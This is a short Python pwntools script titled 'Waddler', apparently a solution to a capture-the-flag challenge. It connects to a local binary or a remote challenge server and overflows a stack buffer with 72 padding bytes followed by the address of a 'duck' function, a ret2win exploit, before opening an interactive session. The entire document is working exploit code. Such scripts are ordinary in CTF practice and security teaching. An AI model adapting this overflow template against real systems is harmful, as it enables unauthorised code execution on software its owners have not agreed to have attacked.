Waddler

#!/usr/bin/env python3

from pwn import *
import time

elf = ELF("./chall_patched")

context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
"""



def conn():
    if args.REMOTE:
        r = remote("chall.v1t.site", 30210)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r


def send_slowly(tube, data, delay=0.01):
    for byte in data:
        tube.send(bytes([byte]))
        sleep(delay)

def main():
    r = conn()

    offset = 72 * b'i'

    payload = offset + p64(elf.sym["duck"])

    send_slowly(r,payload)

    r.interactive()


if __name__ == "__main__":
    main()